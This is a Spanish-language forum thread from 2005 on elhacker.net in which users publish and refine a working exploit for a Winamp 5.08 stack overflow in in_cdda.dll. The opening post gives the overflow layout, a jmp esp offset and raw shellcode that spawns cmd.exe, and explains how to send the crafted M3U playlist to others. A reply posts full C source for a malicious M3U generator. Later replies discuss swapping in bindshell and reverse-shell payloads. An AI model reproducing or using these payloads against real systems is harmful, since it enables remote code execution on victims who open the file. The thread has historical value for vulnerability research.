elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
22 Agosto 2008, 01:50  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Imprimir
Autor Tema: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll  (Leído 4968 veces)
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« en: 28 Enero 2005, 08:58 »

 :)

Yendo al grano, el caso es que ha salido un bug para los Winamp 5.08 y anteriores:

http://security.nnov.ru/search/document.asp?docid=7693

Es la "actualizacion" de un bug anterior muy parecido, que petaba al abrir un archivo *.m3u con un nombre especial, y con un contenido especial.

Nullsoft lo ha tratado de arreglar, pero sigue abiendo el mismo fallo, aunque ya no tiene que ver con el nombre del archivo, si no con la "llamada" interna que hace el Winamp al tratar de abrir un CD de audio (cda://E,1  <- Significa unidad E: y pista 1).

El fallo esta en el E, y en el 1, ambos producen stack overflow si le metes un nombre de unidad o una pista "grande".

Concretamente, al hacer:

cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL.....

(Esto se hace añadiendo un archivo para reproducir al Winamp, y al darle a playlist entry, se modifica su path por lo anterior)

Al darle al play,te salta error de escritura del windows, con EIP 0x49494948 (HIII)

Debugeando con el olly, se ve que a partir de JKKK esta en la stack (debajo de HIII), y que ademas ESP apunta a JKKK. Con lo que ya tenemos exploit facil :)

Cambiamos HIIII por un offset que llame a un jmp esp (yo he usado 0x5f20546e olepro32.dll) y en JKKK y demas lo sustituimos por los valores de la shellcode (empieza la shellcode en la ultima J). Se le pueden meter Nops por si acaso, pero no es necesario, al menos, a mi no me ha hecho falta.

He usado una shellcode que ejecuta un simple "cmd.exe" que hice hace muuuucho, aqui:

http://foro.elhacker.net/index.php/topic,12032.0.html  (todo junto)

Lo malo de la shellcode es que solo funciona en Win XP SP1 (creo xDD, no la he probado en otras versiones de Windows).

Entonces, queda asi:

cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHnT _IJJJ‹å3ÿWƒìÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe¸D€¿wP]øSÿÐ

El "nT _" es 0x5f20546e (se puede cambiar, es el offset del jmp esp) y lo demas, es la shellcode (empieza detras de la ultima "J", shellcode que abria que cambiar para que funcionara en otros Windows, asi como el offset del jmp esp, que no sera el mismo).

Si copias lo anterior al "playlist entry" del archivo y le das a PLAY, te salta una bonita shell de comandos :)

Y si kieres mandarlo por "Internet" o demas (mails, paginas webs, etc...) solo tienes que salvar la "lista de reproduccion" (boton abajo derecha), y quedara un archivo M3U, que te envio para que lo veas :)

Solo habria que cambiar la shellcode por una generica, que deje un puerto abierto o haga un reverse shell, etc etc etc... pero eso se lo dejo a la gente que se baje el exploit.

No se si soy el primero, aunque el exploit es muy facil (aunque me ha llevado una hora de ollydbg xD), no hay ningun exploit publico aun.

Tened en cuenta que esta basado en la informacion del advisory que te puesto al principio, yo me he limitado a codear el exploit :)

El exploit (simplemente, es salvar la lista de reproduccion en un archivo M3U) lo meto como archivo adjunto, con extension TXT para que lo veais "por dentro". Solo teneis que cambiarle la extension a M3U para que funcione :)

Si lo ejecutas en un Win XP SP1 con un Winamp 5.08 o anterior (yo lo he probado con un 5.07), se salta una shell :)

No se si hay algun exploit publico por ahi de este bug, lo hay de uno anterior (que no tiene que ver con este), he buscado, pero parece que no lo hay, asi que soy el primero en publicarlo xD.

De todas formas, es un exploit bastante facil de codear, cualquiera que supiera un poco de shellcoding, manejar el olly y tal, lo hace.

Rojodos
« Última modificación: 28 Enero 2005, 09:04 por Rojodos » En línea
Martín Fierro

Conectado Conectado

Mensajes: 377


Por crom!!!. Chiapas dedo izquierdo de wadalbertía


Ver Perfil WWW
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #1 en: 28 Enero 2005, 13:42 »

Lo use con una version 5.05 y me salió un error, la ventanita esa del fake windows de que winamp habia fallado y nada de nada..
En línea

Y no me importa nada..
LOKORIP

Desconectado Desconectado

Mensajes: 60


Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #2 en: 28 Enero 2005, 19:56 »

me funciono con la version winamp 5.08 da la shell perfectamente y se queda colgado el winamp   con windows xp sin service pack

LO INTERESANTE SERIA COMO MODIFICARLO PARA QUE FUNCIONASE EN REMOTO

En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #3 en: 28 Enero 2005, 20:30 »

Lo acabo de probar en la version 5.05 y funciona perfectamente, solo que hay que correr un "byte" el payload.

Si te fijas, en la 5.05, al correr el anterior exploit, sale un error de bla bla con EIP= 0x495f2054, eso es que el offset del jmp esp no lo coge "bien" (fijate en que es 0x5f20546e) en el ret, metiendo una "I" (la I en hex es 49, y esta al reves porque Intel es una arquitectura little endian, para meterle direcciones de memoria tienes que meterselas "al reves").

Es decir, en la 5.05, el ret no cae en "HIII" si no en "IIII", solo tienes que meter una "H" antes del offset (nT _) en el payload, y el offset de jmp esp sobreescribira perfectamente el ret address, asi:

cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHnT _IJJJ‹å3ÿWƒìÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe¸D€¿wP]øSÿÐ

Al menos a mi, me funciona asi :) Sale otra bonita shell de comandos :) :)

Salu2
« Última modificación: 28 Enero 2005, 20:32 por Rojodos » En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #4 en: 29 Enero 2005, 05:46 »

Publicado en varios sitios (cyruxnet, HxC, Full Disclosure) ademas de en bugtraq:

http://www.securityfocus.com/archive/1/388769/2005-01-25/2005-01-31/2

Ha costao que se publicara en bugtraq (tras varios correos con el administrador de la lista) pero se publico xD

:)

En línea
TaU

Desconectado Desconectado

Mensajes: 174



Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #5 en: 29 Enero 2005, 14:11 »

Te dejo aqui tambien el código del generador de m3u que he adaptado:

Código:
#include <stdio.h>
#include <stdlib.h>

#define HEADER1 "#EXTM3U\n"
#define HEADER2 "#EXTINF:0,Exploit Winamp v5.0x-5.05 por Rojodos (modif TaU)\n"

char shellcode[]=
"cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH" //Padding
"\x9F\x44\x1B\x5F" //Offset del JMP ESP en olepro32.dll wXP SP2
"JJJJ"
"\x8B\xE5\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6"
"\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
"\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\xB8"                                           
"\xC7\x93\xBF\x77" //Offset de la llamada a system() en msvcrt.dll wXP SP2
"\x50\x8D\x5D\xF8\x53\xFF\xD0\n\r";

int main(int argc, char* argv[]) {
FILE *fp;
char *sc=(char *)malloc(sizeof(shellcode)+1);

printf ("\nExploit Winamp v5.0x-5.05 por Rojodos (modif TaU)\n");
printf ("Testeado en Winamp 5.03 y winXP SP2\n\n");
printf ("Generador de m3u basado en el del primer exploit publicado el 24.11.2004\n");
printf ("en http://www.k-otik.com/exploits/20041124.winampm3u.c.php\n\n");

if (sc == NULL) {
printf ("malloc error\n");
return -1;
}

memset(sc,'\0',sizeof(sc));
memcpy(sc, shellcode, sizeof(shellcode) );

fp = fopen ("test2.m3u","w+");
if (!fp) {
printf (" error opening file.\n");
return -1;
}

fwrite (HEADER1, 1, strlen (HEADER1), fp);
fwrite (HEADER2, 1, strlen (HEADER2), fp);
fwrite (sc , 1, strlen(sc) , fp);
fclose (fp);

printf ("\nArchivo <test2.m3u> creado. Simplemente haz doble click en él.\n\n");
return 0;

}

El codigo genera un m3u que funciona en wXP SP2 y con winamp 5.03 - 5.05. Para otros casos hay que afinar los offsets (para SP1) y/o borrar una letra anterior a la shell (para adaptarlo a la version 5.08).


Salu2 maestro!
En línea

"Si no se vive como se piensa, se acabará pensando como se vive", Pep Figueres
Revolucionario / Presidente de Costa Rica / Primer jefe de estado de la historia en abolir el ejército / Catalán.
www.wadalbertia.org  -<|¡^P
zhyzura
Sie sind nicht wie die anderen
Colaborador

Desconectado Desconectado

Mensajes: 2.096


"dieses ist es unsere Welt"


Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #6 en: 30 Enero 2005, 07:20 »

ya cale el txt que pusiste Rojodos en un winxp sp1 con el winamp 5.02 lo que aun no he calado es la adaptacion de TaU (gracias poe el codigo), hoy en la tarde me instalo sp2 para testear y consigo un winamp mas nuevo que el que tengo :P.

saludos
En línea

- - -->>  Sie urteilen zu uns seiend unterschiedlich  <<-- - -
unser Durst des
Wissens ist unersättlich
benn

Desconectado Desconectado

Mensajes: 16



Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #7 en: 02 Febrero 2005, 04:24 »

Ayer acabo de bajar el Winamp (5.0.8 al dia de ayer) en una maquina con WinXP SP2 y aparentemente no funciona.
En línea
Crack_X
Anti-War
Colaborador

Desconectado Desconectado

Mensajes: 2.324


Peace & Love


Ver Perfil WWW
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #8 en: 02 Febrero 2005, 04:44 »

Citar
Lo malo de la shellcode es que solo funciona en Win XP SP1 (creo xDD, no la he probado en otras versiones de Windows).

Rojodos lo hizo en xp sp1 no se sabe si funcionaria en SP2 y si bajaste el 5.08c esta parchado ya (pienso).
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
LoReDo

Desconectado Desconectado

Mensajes: 233



Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #9 en: 04 Febrero 2005, 07:13 »

¿Y no se puede usar un salto a ESP desde una libreria que esté presente en todas las versiones o Service Packs, la cual mantenga ese mismo salto en en mismo offset?

Yo por ejemplo no tenía cargada en memoria olepro32.dll y he tenido que buscar un salto en otra, en concreto en user32.dll.

¿Seguro que no hay ninguna que mantenga una especie de offset universal?
En línea

Los sabios buscan la sabiduría, los necios creen haberla encontrado...
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #10 en: 04 Febrero 2005, 07:18 »

No, que yo sepa, no hay forma. De alguna manera tienes que lograr el control de la ejecucion del programa, y ese es el offset de mi Win XP SP1 Spa.

Otra cosa ya es la shellcode, que si puede ser universal, y puede hacer de todo como controlar escepciones, buscar funciones APIs, buscar funciones relacionadas con el registro, etc etc...

Salu2
En línea
LoReDo

Desconectado Desconectado

Mensajes: 233



Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #11 en: 05 Febrero 2005, 06:15 »

¿Por qué pusiste el offset a jmp ESP en olepro32.dll? ¿Tiene algo de especial esa .dll?

Es que yo no la tenía corriendo en mi windows, que también es un SP1..

Se puede añadir una shellcode de 300 bytes al exploit que pegaste más atrás o está limitado a un tamaño determinado...

He probado con una bindshell normal y cuando se produce el overflow intenta saltar a otro offset que no tiene sentido alguno, y no se con qué relacionarlo..
En línea

Los sabios buscan la sabiduría, los necios creen haberla encontrado...
®®
Colaborador

Desconectado Desconectado

Mensajes: 5.079


Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #12 en: 05 Febrero 2005, 07:21 »

si se puede, yo le meti una de mas o menos 300.
En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #13 en: 05 Febrero 2005, 07:46 »

Cogi la olepro32.dll porque tenia un offset "imprimible" dentro de los 127 primeros caracteres de la tabla ascii, por si acaso. Pero luego me di cuenta que daba igual, ya que la shellcode la ejecuto perfectamente.

En bugtraq comentan que le pudieron meter una de 900 bytes, aunque luego contesto gente diciendo que no podia....

Yo no lo he probado, pero siempre puedes hacer un jmp al AAAABBBB donde tienes un poco mas de codigo para jugar.

Salu2
« Última modificación: 05 Febrero 2005, 07:47 por Rojodos » En línea
LoReDo

Desconectado Desconectado

Mensajes: 233



Ver Perfil
Re: Exploit by Rojodos. Winamp 5.08 Stack overflow in in_cdda.dll
« Respuesta #14 en: 05 Febrero 2005, 23:25 »

¿Me puedes pegar aquí la shellcode que has utilizado exactamente y te ha funcionado?

He probado ya con varias bindshell y reverse y no consigo que se ejecuten. Cuando se produce el buffer overflow se llama correctamente a JMP esp y comienza a ejecutarse la shellcode pero a la cuarta o quita instruccion siempre me devuelve un Access violation y no se que hacer..

Sin embargo cuando las ejecuto con lo típido de:
Código:
int main(int argc, char **argv)
{
  int (*funct)();
  funct = (int (*)()) code;
  (int)(*funct)();
}
si que funcionan y ya me estoy empezando a asquear.

Lo único que se me ocurre es que al producirse el overflow se modifique el valor de algunos registros que luego utiliza la shellcode y por eso intente acceder a un offset no válido..

saludos^^
En línea

Los sabios buscan la sabiduría, los necios creen haberla encontrado...
Páginas: [1] 2 Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC